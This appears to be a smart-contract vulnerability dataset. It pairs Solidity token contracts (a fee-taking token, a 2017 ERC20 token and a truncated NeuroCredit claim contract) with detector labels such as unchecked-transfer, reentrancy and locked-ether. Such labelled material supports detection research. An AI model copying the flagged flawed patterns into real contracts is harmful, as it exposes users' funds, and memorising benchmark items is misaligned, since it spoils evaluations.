uint256 stakingFeeS = (sellFee * stakingSlice )/100;
buyFee = buyFee - stakingFeeB;
sellFee = sellFee - stakingFeeS;
stakingFee = stakingFeeB + stakingFeeS;
}
balances[sender] = balances[sender] - amount;
balances[recipient] = balances[recipient] + transferAmount;
balances[address(this)] = balances[address(this)] + sellFee + buyFee;
balances[burnAddress] = balances[burnAddress] + burnFee;
balances[ReserveStakingReceiver] = balances[ReserveStakingReceiver] + stakingFee;
emit Transfer(sender, recipient, transferAmount);
if(!takeFee)
restoreAllFee();
}
function _getTxValues(uint256 tAmount) private returns (uint256, uint256, uint256, uint256) {
uint256 sellFee = calculateSellFee(tAmount);
uint256 buyFee = calculateBuyFee(tAmount);
uint256 burnFee = calculateBurnFee(tAmount);
uint256 tTransferAmount = tAmount - sellFee - buyFee - burnFee;
return (tTransferAmount, sellFee, buyFee, burnFee);
}
function calculateSellFee(uint256 _amount) private returns (uint256) {
if (!saleTax) {
saleTax = true;
return 0;
}
return( _amount * _taxFeeOnSale) / 10**2;
}
function calculateBuyFee(uint256 _amount) private view returns (uint256) {
if(action == 1)
return (_amount * _taxFeeOnBuy) / 10**2;
return 0;
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
if ( _burnFee > 0 )
return (_amount * _burnFee) / 10**2;
return 0;
}
function removeAllFee() private {
if(_taxFeeOnSale == 0 && _taxFeeOnBuy == 0 && _burnFee == 0 ) return;
_previousSellFee = _taxFeeOnSale;
_previousBuyFee = _taxFeeOnBuy;
_previousBurnFee = _burnFee;
_taxFeeOnSale = 0;
_taxFeeOnBuy = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_taxFeeOnSale = _previousSellFee;
_taxFeeOnBuy = _previousBuyFee;
_burnFee = _previousBurnFee;
}
} | These are the vulnerabilities found
1) reentrancy-no-eth with Medium impact
2) incorrect-equality with Medium impact
3) uninitialized-local with Medium impact
4) unchecked-transfer with High impact
5) unused-return with Medium impact
6) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Chain' token contract
//
// Deployed to : 0x0fEF1510638a88b324f36e7F24fD8C278cFCa8D3
// Symbol : GJMI
// Name : GJMI
// Total supply: 1500000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract GJMI is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function GJMI() public {
symbol = "GJMI";
name = "GJMI";
decimals = 18;
_totalSupply = 1500000000000000000000000;
balances[0x0fEF1510638a88b324f36e7F24fD8C278cFCa8D3] = _totalSupply;
Transfer(address(0), 0x0fEF1510638a88b324f36e7F24fD8C278cFCa8D3, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-09-04
*/
/**
*Submitted for verification at Etherscan.io on 2021-09-01
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/// @title Neuro Credits for gear holders!
/// Original author: Will Papper <https://twitter.com/WillPapper>
/// @notice This contract mints Neuro Credits for gear holders and provides
/// administrative functions to the gear DAO. It allows:
/// * gear holders to claim Neuro Credits
/// * A DAO to set seasons for new opportunities to claim Neuro Credits
/// * A DAO to mint Neuro Credits for use within the gear ecosystem
/// @custom:unaudited This contract has not been audited. Use at your own risk.
contract NeuroCredit is Context, Ownable, ERC20 {
// gear contract is available at https://etherscan.io/address/0xff796cbbe32b2150a4585a3791cadb213d0f35a3
address public gearContractAddress =
0xFf796cbbe32B2150A4585a3791CADb213D0F35A3;
IERC721Enumerable public gearContract;
// Give out 25,000 Neuro Credit for every gear Bag that a user holds
uint256 public NeuroCreditPerTokenId = 25000 * (10**decimals());
// tokenIdStart of 1 is based on the following lines in the gear contract:
/**
function claim(uint256 tokenId) public nonReentrant {
require(tokenId > 0 && tokenId < 7778, "Token ID invalid");
_safeMint(_msgSender(), tokenId);
}
*/
uint256 public tokenIdStart = 1;
// tokenIdEnd of 7777 is based on the following lines in the gear contract:
/**
function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {
require(tokenId > 7777 && tokenId < 8001, "Token ID invalid");
_safeMint(owner(), tokenId);
}
*/
uint256 public tokenIdEnd = 7777;
// Seasons are used to allow users to claim tokens regularly. Seasons are
// decided by the DAO.
uint256 public season = 0;
// Track claimed tokens within a season
// IMPORTANT: The format of the mapping is:
// claimedForSeason[season][tokenId][claimed]
mapping(uint256 => mapping(uint256 => bool)) public seasonClaimedByTokenId;
constructor() Ownable() ERC20("Neuro Credits", "NEURO") {
// Transfer ownership to the gear DAO
// Ownable by OpenZeppelin automatically sets owner to msg.sender, but
// we're going to be using a separate wallet for deployment
transferOwnership(_msgSender());
gearContract = IERC721Enumerable(gearContractAddress);
}
/// @notice Claim Neuro Credits for a given gear ID
/// @param tokenId The tokenId of the gear NFT
function claimById(uint256 tokenId) external {
// Follow the Checks-Effects-Interactions pattern to prevent reentrancy
// attacks
// Checks
// Check that the msgSender owns the token that is being claimed
require(
_msgSender() == gearContract.ownerOf(tokenId),
"MUST_OWN_TOKEN_ID"
);
// Further Checks, Effects, and Interactions are contained within the
// _claim() function
_claim(tokenId, _msgSender());
}
/// @notice Claim Neuro Credits for all tokens owned by the sender
/// @notice This function will run out of gas if you have too much gear! If
/// this is a concern, you should use claimRangeForOwner and claim Neuro
/// Credits in batches.
function claimAllForOwner() external {
uint256 tokenBalanceOwner = gearContract.balanceOf(_msgSender());
// Checks
require(tokenBalanceOwner > 0, "NO_TOKENS_OWNED");
// i < tokenBalanceOwner because tokenBalanceOwner is 1-indexed
for (uint256 i = 0; i < tokenBalanceOwner; i++) {
// Further Checks, Effects, and Interactions are contained within
// the _claim() function
_claim(
gearContract.tokenOfOwnerByIndex(_msgSender(), i),
_msgSender()
);
}
}
/// @notice Claim Neuro Credits for all tokens owned by the sender within a
/// given range
/// @notice This function is useful if you own too much gear to claim all at
/// once or if you want to leave some gear unclaimed. If you leave gear
/// unclaimed, however, you cannot claim it once the next season starts.
function claimRangeForOwner(uint256 ownerIndexStart, uint256 ownerIndexEnd)
external
{
uint256 tokenBalanceOwner = gearContract.balanceOf(_msgSender());
// Checks
require(tokenBalanceOwner > 0, "NO_TOKENS_OWNED");
// We use < for ownerIndexEnd and tokenBalanceOwner because
// tokenOfOwnerByIndex is 0-indexed while the token balance is 1-indexed
require(
ownerIndexStart >= 0 && ownerIndexEnd < tokenBalanceOwner,
"INDEX_OUT_OF_RANGE"
);
// i <= ownerIndexEnd because ownerIndexEnd is 0-indexed
for (uint256 i = ownerIndexStart; i <= ownerIndexEnd; i++) {
// Further Checks, Effects, and Interactions are contained within
// the _claim() function
_claim(
gearContract.tokenOfOwnerByIndex(_msgSender(), i),
_msgSender()
);
}
}
/// @dev Internal function to mint gear upon claiming
function _claim(uint256 tokenId, address tokenOwner) internal {
// Checks
// Check that the token ID is in range
// We use >= and <= to here because all of the token IDs are 0-indexed
require(
tokenId >= tokenIdStart && tokenId <= tokenIdEnd,
"TOKEN_ID_OUT_OF_RANGE"
);
// Check that Neuro Credits have not already been claimed this season
// for a given tokenId
require(
!seasonClaimedByTokenId[season][tokenId],
"CREDIT_CLAIMED_FOR_TOKEN_ID"
);
// Effects
// Mark that Neuro Credits has been claimed for this season for the
// given tokenId
seasonClaimedByTokenId[season][tokenId] = true;
// Interactions
// Send Neuro Credits to the owner of the token ID
_mint(tokenOwner, NeuroCreditPerTokenId);
}
/// @notice Allows the DAO to mint new tokens for use within the gear
/// Ecosystem
/// @param amountDisplayValue The amount of gear to mint. This should be
/// input as the display value, not in raw decimals. If you want to mint
/// 100 gear, you should enter "100" rather than the value of 100 * 10^18.
function daoMint(uint256 amountDisplayValue) external onlyOwner {
_mint(owner(), amountDisplayValue * (10**decimals()));
}
/// @notice Allows the DAO to set a new contract address for gear. This is
/// relevant in the event that gear migrates to a new contract.
/// @param gearContractAddress_ The new contract address for gear
function daoSetgearContractAddress(address gearContractAddress_)
external
onlyOwner
{
gearContractAddress = gearContractAddress_;
gearContract = IERC721Enumerable(gearContractAddress);
}
/// @notice Allows the DAO to set the token IDs that are eligible to claim
/// gear
/// @param tokenIdStart_ The start of the eligible token range
/// @param tokenIdEnd_ The end of the eligible token range
/// @dev This is relevant in case a future gear contract has a different
/// total supply of gear
